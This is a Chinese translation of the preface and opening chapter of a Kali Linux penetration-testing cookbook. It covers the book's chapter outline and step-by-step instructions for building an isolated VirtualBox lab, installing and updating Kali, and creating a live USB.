Kali-Linux-秘籍第二版-一-

Kali Linux 秘籍第二版(一)

原文:annas-archive.org/md5/8fefc9cc965fce8a8a7b9dd2b3068e77

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

Kali Linux 是目前最受欢迎的安全测试平台,为来自各行各业的个人提供了更深入了解渗透测试和信息安全的机会。Kali 不仅是许多安全渗透测试项目的基石,还有一个庞大的用户社区,用户们共享代码、方法和经验,帮助即便是最资深的安全从业者也能变得更加高效。作为一个平台,Kali Linux 非常灵活。它可以从可启动介质运行,安装到硬件平台,或在虚拟环境中运行。你还可以通过许多工具增强其功能,这些工具来自原生发行版之外(我们将在接下来的章节中展示)。它真正为你提供了一个可以随心使用的单一平台,无论你喜欢什么格式,都不需要在硬件和软件上进行昂贵的投资。

随着恶意攻击者和恶意软件的崛起,以及对系统和网络安全的关注增加,了解攻击者的操作方式可以帮助你更有效地提供平衡且合适的安全控制措施。

在本书中,我们将探索如何使用 Kali Linux 以及其他工具,如 Nexpose、Nessus 和 OpenVAS,来执行各种渗透测试任务。我们将介绍如何搭建一个有效的实验室环境进行测试,并涵盖渗透测试的各个方面,以及关于如何在使用 Kali Linux 平台时获得成功的实用建议。

本书内容概述

第一章,安装 Kali 和实验室设置,记录了设置测试环境的最佳实践,你可以在这里测试本书中介绍的技能。

第二章,侦察和扫描,帮助你学习收集目标环境信息所需的技能。我们将收集域名、IP 子网、主机、路由信息以及其他有用的信息。你还将学习如何跟踪这些数据,以便在未来渗透测试过程中参考。

第三章,漏洞分析,解释了在获得网络访问权限并识别网络内的系统后,下一步是建立立足点并维持持久访问。

第四章,在目标中寻找漏洞,利用我们收集到的主机信息来确定对目标机器和服务使用的潜在漏洞。

第五章,社会工程,讨论了通过电子手段实施的社会工程,同时也用于物理渗透测试和数据收集。我们利用众所周知的自然倾向来帮助我们实现或获取我们想要的东西。

第六章,密码破解,使您可以学习在各种攻击中获得的密码哈希的不同技术和工具,以及在获得访问权限时重置这些密码的手段。

第七章,权限提升,帮助您学习如何利用一个小的立足点扩展入侵的范围,提升管理员级别,并利用横向移动来攻击更多的机器。在大多数情况下,入侵的初始点并非期望的目标,而只是获取更有价值目标的手段。

第八章,无线特定配方,解释了由于无线网络的日益普及以及无线信号的延伸覆盖范围,我们将专注于通过多种手段获取这些网络的访问权限。

第九章,Web 和数据库特定配方,解释了评估 Web 应用程序和数据库安全性所需的一套独特工具。如果 Web 应用程序被入侵,很可能会被用作进一步网络渗透的起点。

第十章,保持访问,解释了一旦获取了目标环境的访问权限,确保保持您的访问是至关重要的。学习如何保持访问并转入到目标环境的其他区域。

您在本书中需要的内容

本书假设您在 Linux 操作系统上具有中等水平的专业知识,具备强大的网络技术知识,包括有线和无线,对操作系统平台配置具有中等经验,并且对一般信息安全概念具有中等经验。本书将详细介绍设置基础测试实验室的过程,Kali Linux 的安装以及执行网络侦察和利用所需的工具。由于您将对实际主机进行练习,因此将此环境与其他非测试环境隔离开非常重要。

Kali Linux 可以安装到虚拟环境,如 VirtualBox 或 VMware,也可以安装到专用硬件上。本书要求您有足够的计算资源来安装 Kali Linux 和目标系统。除了您的虚拟化程序的最低要求外,以下是硬件或虚拟需求的最低要求:

  • CPU:10 cores

  • 内存:24 GB RAM

  • 硬盘空间:260 GB

在本书中,您将需要以下软件列表:

  • Kali Linux 2017.x

  • VirtualBox

  • Windows XP

  • Windows 7

  • Windows 2008

需要互联网连接才能安装根据配方要求必须安装到 Kali Linux 上的必要附加软件包。

本书适合谁

为了充分利用本书的内容,需要具备网络、设备管理、一般信息安全概念和核心操作系统的知识。同时也需要有一定的 Kali Linux 基础知识。由于 Kali Linux 提供了大量用于不同目的的工具,因此不可能涵盖所有可用工具及其使用的所有组合。欲了解 Kali Linux 中所有可用工具的详细信息,请访问 Kali Linux 官方工具页面:tools.kali.org/。考虑到这一点,本书旨在提供一套更深入的使用方法,帮助您利用这些工具提升对安全渗透测试和不安全/未充分保护环境的利用技巧的理解。

各章节

在本书中,您会遇到几个经常出现的标题(准备就绪、如何操作、它是如何工作的、还有更多、另见)。

为了给出明确的操作步骤,我们使用以下几节内容:

准备就绪

本节告诉您配方中需要预期的内容,并描述如何设置所需的软件或任何必要的初始设置。

如何操作…

本节包含执行配方所需的步骤。

它是如何工作的…

本节通常包含对上一节内容的详细解释。

还有更多…

本节提供配方的附加信息,旨在帮助读者更深入地了解配方。

另见

本节提供了有助于配方的其他有用信息的链接。

约定

本书中,您将发现多种不同的文本样式,用于区分不同种类的信息。以下是这些样式的示例及其含义解释。

文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名以如下方式显示:“select /root/Documents and type in your customer name”。

任何命令行输入或输出都以如下方式呈现:

 wafw00f scanme.nmap.org 

新术语和重要单词以粗体显示。您在屏幕上看到的、在菜单或对话框中的词汇,例如,“点击应用”会显示为:“click on Apply”。

警告或重要注意事项以这种方式显示。提示和技巧以这种方式显示。

读者反馈

我们始终欢迎读者的反馈。告诉我们您对本书的看法——您喜欢或不喜欢的部分。读者的反馈对我们至关重要,因为它帮助我们开发出您能够最大化受益的书籍。

要向我们发送一般反馈,只需发送电子邮件至feedback@packtpub.com,并在邮件主题中提及书名。

如果您在某个领域有专业知识,并且有兴趣撰写或参与书籍的编写,请查看我们的作者指南,网址为www.packtpub.com/authors

客户支持

现在,您是一本 Packt 书籍的骄傲拥有者,我们为您提供了一些帮助,助您充分利用您的购买。

下载本书的彩色图像

我们还为您提供了包含本书中使用的截图/图表的彩色图像的 PDF 文件。这些彩色图像将帮助您更好地理解输出中的变化。您可以从www.packtpub.com/sites/default/files/downloads/KaliLinuxCookbookSecondEdition_ColorImages.pdf下载该文件。

勘误

虽然我们已经尽力确保内容的准确性,但错误仍然可能发生。如果您在我们的书籍中发现任何错误——可能是文本或代码中的错误——我们将非常感激您能报告给我们。这样,您可以帮助其他读者避免困扰,并帮助我们改进后续版本的书籍。如果您发现任何勘误信息,请访问www.packtpub.com/submit-errata报告,选择您的书籍,点击勘误提交表格链接,并输入勘误信息。一旦您的勘误经过验证,您的提交将被接受,勘误信息将被上传到我们的网站或添加到该书标题的现有勘误列表中。

要查看之前提交的勘误信息,请访问www.packtpub.com/books/content/support,并在搜索框中输入书名。所需信息将在勘误部分显示。

盗版

互联网版权材料的盗版是一个横跨所有媒体的持续问题。在 Packt,我们非常重视保护我们的版权和许可证。如果您在互联网上发现任何非法复制的我们的作品,请立即提供我们该网址或网站名称,以便我们可以采取措施解决。

请通过copyright@packtpub.com与我们联系,并提供涉嫌盗版材料的链接。

我们感谢您在保护我们的作者和帮助我们为您提供有价值内容方面的支持。

问题

如果您对本书的任何方面有问题,您可以通过questions@packtpub.com与我们联系,我们将尽力解决问题。

第一章:安装 Kali 和实验室设置

在本章中,我们将讨论以下主题:

  • 实验室架构和考虑事项

  • 安装 VirtualBox

  • 在 VirtualBox 上安装 Kali

  • 从可启动介质使用 Kali Linux

  • 升级 Kali Linux

  • 理解 Kali 的高级定制和优化

  • 安装 Windows 机器

  • 安装 Metasploitable

  • 安装 OWASP-BWA

  • 了解 hack me 和其他在线资源

介绍

为了为本书的其余部分奠定基础,并帮助你复现各个配方及其输出,我强烈建议你创建一个测试环境,在其中运行 Kali Linux 附带的各种工具。本章将重点介绍如何基于免费或低成本的应用程序来构建我们的测试环境,以尽量减少成本。

从安装虚拟化平台 VirtualBox 开始,我们将介绍一些 Kali Linux 的常见安装技巧;你还将学习如何更新和维护你的安装。

实验室架构和考虑事项

在本节中,我们将讨论我们的实验室设计,并提供一些信息,帮助你将来扩展实验室。

当我们开始设置实验室时,我们希望花些时间讨论实验室的设置和一些使用实验室时需要考虑的事项。部分考虑事项旨在提高实验室的效率,另一些则用于保护实验室连接的网络。我们还希望让你能够轻松扩展或发展这个网络,随着你掌握随后的 Kali 配方,可以加入更多测试机器。

如何操作...

在本节中,我们将讨论一些通用话题,而非具体的配方。

虚拟化管理程序选择

如今,市面上有许多不同的虚拟化管理程序,可以让你在一台物理机上运行多个虚拟机。出于特定目的,我们选择在 VirtualBox 中展示如何设置初始实验室,原因有很多。它是免费的,支持多平台,且能够在你的主操作系统内运行。然而,随着我们进入本书的后续章节,我们将转向 VMware ESXi。使用 VirtualBox 和 VMware ESXi 之间的配方不会受到影响。我们更换的主要原因是,在我们专用的实验室中可以获得更多计算资源。我们能够同时运行多个虚拟机,并且可以根据需要在 Kali 实例和测试主机之间插入防火墙等安全设备。我们还拥有创建更复杂环境的灵活性。

如果由于任何原因你需要构建一个更大的测试网络,或者有一个更适合你需求的虚拟化管理程序,可以自由使用它,我们会假设你能够在不同的虚拟化管理程序之间翻译我们的操作指南。

虚拟化管理程序的网络配置

在我们的实验室中,我们将在 VirtualBox 中使用两个网络:一个是 NAT 网络,另一个是主机专用网络。我们的 Kali 系统将连接到这两个网络,以便与互联网上的设备通信、下载更新和获取软件包。我们的目标机器只连接到主机专用网络。主机专用网络只能在主机内部及主机专用网络上连接的其他设备之间通信。它不能通过您的以太网或无线网络进行通信。这种设置对我们的测试环境非常关键,因为我们绝不希望将我们的测试主机暴露给外部世界,因为它们非常容易受到攻击。

为了进一步保护您的实验室所连接的网络,我们建议实际上断开连接到 NAT 网络的 Kali 虚拟机的虚拟适配器,除非特别需要按照配方操作。这样,您的网络就可以免受来自 Kali 的任何意外攻击的影响。

可能存在漏洞的工作站

经常被问及的一个问题是为什么我们软化机器或使用有漏洞的机器。事实是,一个正确打补丁、正确配置和正确加固的机器是非常难以进入的。渗透测试并不是试图进入加固设备,而是专门寻找那些有漏洞的设备。在典型的测试中,你可能只会找到一两台有漏洞的机器。你可以利用这些机器来进入一个环境,以便入侵其他更加加固的机器。如果你作为渗透测试人员开始进行定期测试,你会惊讶地发现有多少机器可能存在漏洞。这在低成本物联网IoT)设备如连接到互联网的摄像头、恒温器、自动化系统和监控方面尤为明显。这些设备通常运行 Linux 类型的嵌入式操作系统,很少打补丁并且经常被忽视。更重要的是,它们通常充满了我们可以利用的漏洞和错误。

安装 VirtualBox

为了建立我们实验室的基础,我们将使用 VirtualBox 作为虚拟硬件平台来托管我们的镜像。本文将概述完成此操作所需的步骤。如果您希望使用其他虚拟化平台,同样的基本原则也适用。

当涉及到学习新技能或提升您已有技能时,测试环境的重要性不可高估。必须确保您有测试对系统在已知状态下的系统的手段,以便验证您测试的结果。

一种节省资源(包括物理硬件和计算资源)的方法是利用一个虚拟环境,您可以在其中测试设备。一个非常流行的虚拟化平台示例是 Oracle 的 VirtualBox——这是一个专为 x86 平台设计的虚拟化环境,可以在一台物理计算机上托管许多虚拟机。这允许共享磁盘、RAM、CPU 等资源。此外,由于 VirtualBox 支持导入和导出虚拟设备,资源可以轻松移动和共享等。

准备就绪

为了在本书的其余部分中使用 VirtualBox,我们需要确保服务器上有足够的资源来同时运行几个虚拟客户系统。以下表格突出显示了我们打算的每个客户系统所需的资源量:

Name Disk required Memory required CPU required Chapters used
Kali Linux 80 GB 8 GB 2 1-10
Metasploitable 65 GB 4 GB 1 1,2,4-7,10
Ubuntu 16.4 LTS 15 GB 2 Gb 1 1,6,10
Windows XP SP3 10 GB 1 GB 1 1,2,4-7,10
Windows 7 - host 1 10 GB (thin) 2 GB 1 1-7
Windows 7 - host 2 10 GB (thin) 2 GB 1 1-7
Windows 2008 Server 25 GB (thin) 2 GB 1 1-7
OWASP-BWA 10 GB 1 GB 1 1,9
VulnOS 32 GB 1 GB 1 1,7

如何实现…

在本节中,我们将建立一个环境,让您能够进行安全测试,而无需使用物理硬件:

  1. 确保主机机器上除了 VirtualBox 本身所需的资源外,还需要以下资源来支持上述系统组合:

    • 5 CPU

    • 1500+ GB 硬盘空间可用

    • 16 GB 内存空闲

  2. www.virtualbox.org下载适合您实验环境的 VirtualBox 版本。

也许熟悉一下 VirtualBox 手册中提供的详细选项会很有帮助,该手册可以在www.virtualbox.org/manual/ch01.html.找到。

  1. 下载安装程序后,找到它并开始安装。当应用程序开始安装时,您将看到以下对话框。在撰写本书时,可用版本为 5.1.8。当您看到下图中的对话框时,请选择“下一步”:

 初始安装屏幕

  1. 在第一个自定义设置屏幕上获得选项时,请保持默认选项不变,然后选择“下一步”:

 第一个自定义设置屏幕

  1. 在下图中看到的第二个自定义设置屏幕上,回顾选项并确定哪些选项符合您的偏好,然后选择“下一步”:

第二个自定义设置屏幕。如果勾选了“注册文件关联”(Register file associations),这将配置你的系统使用 VirtualBox 来自动打开虚拟磁盘镜像。

  1. 在基本配置选项决定后,设置将开始对主机计算机进行更改。一个步骤是安装专用的虚拟网络适配器,允许 VirtualBox 提供关于如何使用网络的不同选项。在这些驱动程序安装过程中,你可能会遇到短暂的连接中断;因此,当出现提示时,请选择“是”来确认这一点。

  2. 当准备好开始安装时,从下一个对话框中选择“安装”(Install),并等待安装过程完成。

在安装过程中,你将被提示允许安装设备驱动程序。这些驱动程序主要用于虚拟网络设备。你可以选择以后信任由 Oracle 签名的设备驱动程序,或保持此选项不选中。

  1. 安装完成后,你将可以选择完成安装,或者选择完成后直接启动 VirtualBox。

根据你未来可能在此实验室中的其他使用场景,现在是安装 VirtualBox 扩展包的好时机,该扩展包包括对 USB 2.0 和 3.0 控制器、主机网络摄像头、RDP 服务和其他功能的支持。建议你在启动 VirtualBox 之前安装这些扩展包。

  1. 启动 VirtualBox 后,你需要确认网络连接的设置。你需要找到虚拟机菜单中的“首选项”(Preferences)项,然后选择它。接着,选择顶部的网络选项,你将看到以下窗口:

VirtualBox 首选项对话框 - 网络

  1. 默认情况下,NatNetwork 应该已经为你创建好了。如果没有显示,请点击右上角的 + 按钮来添加一个。

在下一部分,我们将创建仅存在于你电脑上的网络。尽管这些网络只会在你的电脑上显示,但我们强烈建议你使用与任何你可能访问的现有网络不冲突的子网。

  1. 添加后,通过点击右下角的扳手图标来查看网络的设置,你将看到以下对话框。你可以根据需要修改 IP 子网。确保选中“启用网络”(Enable Network),然后点击“确定”(OK)以继续:

NatNetwork 配置对话框

  1. 创建我们的测试网络。选择仅主机网络(Host-only Networks)。默认情况下,未创建任何网络,因此请点击右上角的 + 图标来创建 vboxnet0 网络:

仅主机网络对话框

  1. 确保 vboxnet0 接口已被选中,并点击屏幕右下角的扳手图标。IPv4 地址已经为你预填。如果你将其放入现有实验室网络,或者该地址范围在你现有环境中其他地方已被使用,可以根据需要指定不同的网络,因为这将是你的脏网络,用于测试目的:

仅主机网络适配器对话框

  1. 让我们通过选择 DHCP 服务器部分进行回顾和修改。默认设置应该没有问题,但你可以根据需要调整。

不要将整个范围用于 DHCP,因为你可能希望为你的脏网络中的服务器静态分配 IP 地址。

  1. 一旦完成这些步骤,你的 VirtualBox 环境就准备好进入下一部分。

工作原理...

在本节中,我们将下载并安装虚拟计算环境 VirtualBox,以构建我们的测试实验室基础。我们配置了基本的网络设置,并设置了 DHCP 以帮助动态主机网络连接。

在 VirtualBox 上安装 Kali

在本节中,我们将在 VirtualBox 环境中为虚拟主机安装 Kali Linux,正如我们在上一节中描述的那样。

Kali Linux(Kali)基于 Debian 操作系统;它是一个自包含的环境,包含了数百个可用于安全审计和测试目的的工具。它提供了一个平台,你可以利用这个平台来提升你的渗透测试技能。它是最广泛使用的渗透测试平台之一。

Kali 提供多种不同版本——我们将使用完整的 Kali 安装,采用 Gnome 窗口管理器,并在 Oracle VirtualBox 环境中运行。然而,Kali 可以安装在任何虚拟化平台上;它可以非破坏性地从 USB 或 CD 驱动器运行,也可以在 Raspberry Pi 或其他类似的单板计算机上运行。它支持在 Intel 和 Arm 处理器上安装。

当你第一次访问 Kali 官网并查看下载部分(www.kali.org/downloads)时,可能会因为各种选项而感到有些不知所措,因此让我们逐一了解这些选项,帮助你理解它们之间的差异。

参考下图,你会注意到前两项,Kali 64 位和 Kali 32 位,是使用 Gnome 窗口管理器的操作系统默认完整安装版本。

接下来的两项由 light 指示,是为一些空间受限的系统提供的最小安装版本,包含 Gnome 窗口管理器。你可以使用此版本,并手动安装仅满足你特定需求的工具。

接下来的四个条目,标注为 e17、Mate、Xfce 和 LXDE,都是 Kali 操作系统的完整安装版本,每个版本都使用不同的图形窗口管理器来处理桌面界面。如果您使用的是较旧的设备,建议使用带有 XFCE 界面的 Kali,因为它比 Gnome 界面占用更少的资源。仅当您熟悉这些界面时,或者不想使用默认的 Gnome 窗口管理器,或出于特定目的(如资源限制)时,才建议使用这些版本。

最后两个条目,armhf 和 armel,分别用于这两种 ARM 架构,其中 armhf 支持旧版的 ARMv4 指令集,armel 支持新版的 ARMv7 指令集。

请注意,sha256 值会显示在此处。这可以帮助您验证是否下载了未被修改的镜像版本:

Kali.org 下载页面,图像部分,截止到 2017 年 5 月

如果您稍微向下滚动页面,您会看到一个部分,允许您下载预先准备好的镜像,这些镜像可以自动运行而无需经过设置过程;此外,它支持各种虚拟机管理程序,或者对于 ARM 架构,提供了适用于流行 ARM 设备(如树莓派等)的镜像和脚本。

我们不会使用这些图像,因为我们希望引导您完成 Kali 的完整安装和设置过程,这样您能更好地理解整个过程。 Kali.org 下载页面,虚拟机和 ARM 部分,截止到 2017 年 5 月

准备开始

在安装 Kali Linux 之前,我们需要确保满足最低要求:

  • 您的计算机已连接到互联网

  • 您的计算机至少需要 4 GB 的内存(推荐 8 GB)

  • 您需要至少 25 GB 的硬盘空间(推荐 80 GB,用于第三章,漏洞分析

  • VirtualBox 安装完成并正在运行

  • www.kali.org/downloads/下载适当的 Kali 镜像文件

对于我们的目的,我们将使用 Kali 64 位版本。更多关于这些选项的细节,请参见配方介绍。

如何操作...

让我们开始安装 Kali 的过程:

  1. 点击屏幕左上角的“新建”:

VirtualBox 主界面

  1. 为虚拟机命名为 Kali Linux,选择类型为 Linux,并选择版本为 Linux 2.6 / 3.x / 4.x (64 位)。完成后点击“继续”按钮:

 名称和操作系统选择界面

  1. 内存大小:您将看到一个内存大小滑块,也可以手动输入数值:在框中输入 4096。4 GB 的内存将提供流畅且响应迅速的 Kali 安装体验。点击“继续”。

  2. 硬盘:选择“现在创建虚拟硬盘”并点击“创建”。

您会注意到在此界面上,会提到推荐的硬盘大小为 8 GB。请注意,这不足以进行完整的 Kali 安装,我们将在后续步骤中更改它。

  1. 硬盘文件类型:选择默认的 VDI(VirtualBox 磁盘映像)文件类型。点击继续。

如果您希望与其他虚拟化平台的兼容性更好,可以选择其他可用类型。虚拟硬盘 (VHD) 被广泛用于 Windows HyperV。虚拟机磁盘 (VMD) 被广泛用于 VMware 部署。

  1. 关于物理硬盘上的存储,保留默认的动态分配并点击继续。

如果您使用的是较旧的旋转磁盘而不是固态硬盘,并且磁盘上有足够的空间,建议选择固定大小。

  1. 文件位置和大小:保留默认的名称和位置,调整滑块或直接在框中输入 25.00 GB。点击创建。

25 GB 是一个不错的大小,适合安装和一些额外内容。如果您的空间要求有限,请参阅本食谱简介部分中的 Kali 镜像和安装选项讨论,获取更多指导。

  1. 点击 Kali Linux 以突出显示它;然后点击设置:

VirtualBox 主界面 - 显示 Kali Linux 虚拟机

  1. 从这里,我们将选择存储选项。最初在控制器:IDE 下会显示为空。点击突出显示“空”。点击 IDE Secondary Master 右侧的圆形磁盘图标,将弹出一个选项对话框,选择“选择虚拟光盘文件”。这将打开文件管理器对话框,允许您找到并选择之前下载的 Kali 镜像。完成后,您的屏幕应该类似于以下内容:

Kali Linux VirtualBox 设置存储选项

  1. 点击网络,并验证适配器 1 是否连接到 NAT 网络,并显示名称为 NatNetwork:

Kali Linux - 网络适配器 1

  1. 点击适配器 2,选择附加到主机专用适配器,名称为 vboxnet0,然后点击确定:

Kali Linux - 网络适配器 2

  1. 我们将返回主管理界面。点击 Kali Linux 以突出显示它,然后点击启动:

VirtualBox 管理器界面

  1. 现在我们将进入 Kali 的主安装界面。点击“图形安装”:

Kali 主安装界面

  1. 选择适当的语言;对于我们的使用,选择英语并点击继续:

选择语言界面您可以点击顶部框中的 X(如果有的话),它们仅供参考。

  1. 选择适合您所在地区的键盘布局。对于我们来说,我们将选择美式英语。然后,点击继续。虚拟机将开始加载安装程序组件。这应该只需一两分钟,具体取决于您的设备性能。它还将自动检测并连接到您的网络。

  2. 您将进入一个屏幕,要求您输入主机名。我们就简单地将安装命名为Kali并点击继续:

Kali 配置网络屏幕

  1. 下一个屏幕将要求输入您的域名。我们将留空此项,直接点击继续。

  2. 下一屏幕将要求我们输入 root 密码。选择一个强密码,第二次输入以验证它,然后点击继续。安装将继续进行一些后续步骤。

  3. 完成后,您将进入一个配置时钟屏幕。选择适当的时区;在我们的示例中,我们选择东部时区,然后点击继续:

配置时钟屏幕

  1. 分区磁盘:为了简便,我们将选择引导式——使用整个磁盘,然后点击继续:

分区磁盘需要注意的是,在这里的示例中,我们只需保持简单。在实际设置生产测试时,我会使用一台专用笔记本,并使用完全加密的 LVM。当你从沙盒环境转向实际工作时,这是一项推荐的做法;作为渗透测试员,你需要保护你的工作以及客户的信息。在这种情况下,加密是至关重要的。

您可能还需要考虑带有加密笔记本电脑跨境时,边境安全的相关规定。在美国,即便是美国公民,他们也可以要求你提供密码以进入机器,拿走它们并将其没收。您可能需要考虑类似的情况;您可以根据需要将加密笔记本电脑寄送到目的地,或者在离开前完成报告并清除硬盘。请记住,删除文件并不是安全地擦除信息——您可以使用Darik 的启动和清除工具DBANdban.org/并使用5220.22-m擦除方法。

  1. 您将进入一个分区磁盘确认屏幕。点击磁盘以高亮显示它,然后点击继续:

分区磁盘请注意,当你在虚拟机中操作时,提到的磁盘将被擦除;它只是在谈论虚拟分区,而不是你的实际磁盘。如果你决定将此操作系统加载到你的个人电脑上,它将擦除整个硬盘。

  1. 选择所有文件在一个分区中(推荐给新用户),然后点击继续:

分区磁盘 - 屏幕 2

  1. 选择完成分区并将更改写入磁盘。点击继续:

分区磁盘 - 屏幕 3

  1. 点击“是”以将更改写入磁盘。点击继续:

 分区磁盘 - 屏幕 4 您的系统将开始进一步安装。此过程将持续几分钟,请耐心等待。

  1. 安装完成后,系统将询问您是否要使用网络镜像作为软件包管理器。选择“是”并点击继续。

  2. 如果需要,您将被要求输入代理服务器信息。请输入所需的信息(对于大多数安装,您可以留空此项)。点击继续。Kali 将继续安装软件包。

  3. 选择以安装 GRUB 引导加载程序,然后点击继续。

  4. 选择列出的单个驱动器并高亮显示它,然后点击继续。这将完成安装:

安装 GRUB 引导加载程序

  1. 稍等片刻,您将回到“完成安装”屏幕。系统将提示您重启计算机,以确保您已移除安装介质。在大多数情况下,当 Kali 完成安装时,VirtualBox 或其他虚拟机管理程序会自动执行磁盘弹出命令,但我们需要确保这一点。此时请不要做任何操作:

 Kali Linux:完成安装

  1. 将安装窗口移到一边,露出主 VirtualBox 管理器屏幕。点击以高亮显示 Kali Linux 虚拟机。点击设置,然后点击存储。如果在控制器:IDE 下看不到 Empty,点击所显示的安装介质以高亮显示它。点击最右侧的磁盘图标,选择从虚拟驱动器中移除磁盘。点击确定:

 VirtualBox 管理器

  1. 返回 Kali 安装屏幕,点击继续。系统将完成剩余项,并重启虚拟机,带您进入登录界面:

Kali Linux 完成安装记住,当登录系统时,您的用户名是 root,密码是您在安装过程中创建的密码。

使用 Kali Linux 启动媒体

如您将在后续页面看到的那样,Kali Linux 有很多用途,对于这些用途,通常不适合将设备专门分配给某一特定用途,因为这将是资源的巨大浪费。为了解决这个问题,您可以将前一部分下载的 Kali Linux 安装 ISO 作为 Live CD 使用;或者您可以使用具有持久化的 Live USB 驱动器(支持或不支持 Linux 统一密钥设置加密)。

我们将向您展示如何创建 Live USB(无持久化,无历史记录)。

诸如带持久性的实时 USB、带加密持久性的实时 USB 以及定制版 Kali Linux ISO(可加入可启动 USB 选项)等附加选项可以在 Kali Linux 文档 wiki 上找到,网址为 docs.kali.org,位于 02. Kali Linux Live 部分。

准备工作

为了能够成功完成此部分,您将需要以下内容:

  • USB 驱动器(8 GB 或更大)

  • USB 磁盘映像工具(Win32DiskImager)

如何操作...

让我们开始创建可启动 Kali Linux USB 设备的过程:

  1. 从我们之前在安装 VirtualBox 时下载的 Kali Linux ISO 文件开始,我们将使用 Win32DiskImager (sourceforge.net/projects/win32diskimager/) 来创建一个可启动的 USB。下载并安装 Win32DiskImager。

  2. 安装完成后,启动 Win32DiskImager。

为了格式化 USB 驱动器并写入原始映像,Win32DiskImager 需要管理员权限才能运行。当用户访问控制对话框弹出时,您需要授予其运行权限。

  1. Win32DiskImager 将使用 IMG 文件,但我们将告诉它使用 ISO 文件作为源。在应用程序界面上,点击文件打开(File Open)按钮,当弹出文件打开框时,右下角将文件过滤器更改为 .,并导航到 Kali Linux ISO 文件。

  2. 选择 USB 设备的驱动器字母,然后点击写入(Write):

FW32 DiskImager 示例

  1. 一旦映像写入 USB 驱动器,您将能够在支持 USB 启动媒体的机器上从该设备启动。在这种配置下,您现在拥有一个可启动的 USB 驱动器,从中将启动 Kali Linux 操作系统,就像它已安装到本地磁盘上一样。在重新启动后,您将丢失任何您可能创建的文档。如果您选择这样做,您可以在 USB 驱动器上创建一个额外的分区,该分区将保持持久性,并保留您可能希望保存的文件和文档。如何扩展此功能的逐步说明可以在 Kali Linux 文档 wiki 上找到,网址是 docs.kali.org,位于 02. Kali Linux Live 部分。

升级 Kali Linux

现在我们有了 Kali 的基础安装,让我们执行任何需要的更新和升级。您需要定期执行此操作,以确保您使用的是最新的信息。

准备工作

在开始之前,请确保满足以下先决条件:

  • 您的计算机已连接到互联网

  • 您的 Kali 安装正在运行

  • 您已作为 root 用户登录

如何操作...

要将现有的 Kali Linux 安装更新到最新版本,您需要执行以下操作:

  1. 从主 Kali 桌面上,让我们点击屏幕左上角的终端图标:

Kali Linux 桌面由于我们已经以 root 用户登录,因此不需要使用 susudo 命令来提升权限。

  1. 在命令提示符下,输入以下内容:
 apt-get update

Kali Linux 命令提示符安装完成后,这个过程可能需要几分钟才能完成。

  1. 完成后,我们将在命令提示符下输入以下内容来实际升级系统:
 apt-get upgrade

Kali Linux 命令提示符

  1. 过一两分钟后,您将看到一个屏幕,解释将升级的内容以及需要安装哪些升级项。准备好继续时,输入Y并按Enter

Kali linux 命令提示符该过程将花费相当长的时间,因此请耐心等待,直到您的系统完成升级。

  1. 完成后,我们将重启系统,以确保拥有一个全新的运行环境。继续操作时,输入以下内容:
 shutdown -r now

Kali Linux 命令提示符

还有更多...

在升级过程中,您可能会被提示几个项目,如下所示:

apt-listchanges:新闻部分

您可能会在 apt-listchanges: 新闻部分暂停,底部会显示一个冒号(:);您可以使用箭头键阅读通知,然后按 q 退出并继续。

配置 macchanger

您可以设置系统在每次启动时自动更改 MAC 地址。对于我们的测试目的,这不是必需的;但是,如果您在实际环境中进行此操作,可能需要配置它。选择否:

配置 macchanger 对话框

服务重启

系统可能会提示您自动重启服务以便简化升级;选择是:

理解 Kali 的高级自定义和优化

现在我们已经安装并更新了 Kali Linux 虚拟机,让我们做一些自定义设置。

准备工作

在开始之前,请确保以下前提条件:

  • 您的计算机已连接到互联网

  • 您的 Kali 安装正在运行

  • 您已以 root 用户登录

如何操作...

我们可以执行几个自定义和高级设置。

升级 Linux 内核

为了更新 Linux 内核,您需要执行以下操作:

  1. 通过选择左侧工具栏中的图标打开终端窗口,并输入以下内容:
 apt-get dist-upgrade
  1. 按照提示完成安装,安装完成后重启虚拟机。

移除不需要的软件包

为了移除不需要的软件包,我们将执行以下操作:

  1. 通过选择左侧工具栏中的图标打开终端窗口,并输入以下内容:
 apt autoremove 
 exit

调整或禁用屏幕锁定

在使用本书的过程中,您可能会离开系统运行命令或在章节之间切换。在此期间,屏幕可能会锁定,并迫使您比期望的更频繁地登录。要更改这种行为,请按照以下步骤操作:

  1. 在屏幕的右上角点击下拉箭头,它将提供有关当前计算机状态的各种信息。在该框的左下角,点击设置图标:

系统状态框

  1. 在“所有设置”屏幕中,点击第一行的紫色隐私图标以显示隐私对话框,然后选择“屏幕锁定”条目:

隐私框

  1. 根据需要调整设置;在以下示例中,我将计时器设置为 1 小时:

屏幕锁定

  1. 完成后,点击顶部的“X”按钮,直到返回主屏幕。

修正以太网接口配置

由于每次只能启用一个接口,我们将按以下方式设置网络:

  1. 在屏幕的右上角点击下拉箭头,它将提供有关当前计算机状态的各种信息。在该框的左下角,点击设置图标:

系统状态框

  1. 在其中一个接口旁边,选择箭头图标,展开另一级菜单。点击“有线设置”:

系统状态框

  1. 从底部选择“添加配置文件”:

网络窗口

  1. 在“新建配置文件”窗口中,选择左侧的“身份”,然后在“名称”处输入Host-Only Network

新建配置文件窗口

  1. 在左侧列中,点击 IPv4,滚动到底部,勾选“仅将此连接用于其网络上的资源”框,然后点击添加:

新建配置文件窗口

  1. 通过点击 eth1 以突出显示它,将 eth1 分配给我们刚刚创建的仅主机网络。点击“仅主机网络”。通过点击 eth1 确认 eth0 已分配给有线连接网络。现在,您应该能够同时启用两个接口:

网络窗口

连接和断开以太网接口

Kali Linux 使得通过网络管理器轻松管理网络连接。这就是您将如何连接和断开网络接口:

  1. 在屏幕的右上角点击下拉箭头,它将提供有关当前计算机状态的各种信息:

系统状态框

  1. 你将看到你的 eth0 和 eth1 接口的条目。如果你按照我们的指南操作,eth0 网络连接到 NAT 网络,可以访问虚拟机外部的互联网和网络。eth1 接口是仅主机网络,连接到你的测试机器。你可以根据需要切换这些接口的开关。

安装 Windows 系统

创建一个我们可以安全进行安全测试的实验环境是能够培养可重复技能集的关键。在本节中,我们将介绍 Windows 桌面机器的安装和配置,以及活动目录服务器的设置。

由于 Microsoft Windows 操作系统是最常用的操作系统,我们将在实验室中测试 Windows 平台与 Kali Linux 的配合。

准备工作

完成本节内容,你将需要以下资料:

  1. Windows 7 和 Windows Server 2008 的安装媒体。由于许可限制,我们无法提供 Microsoft 软件产品的安装媒体。

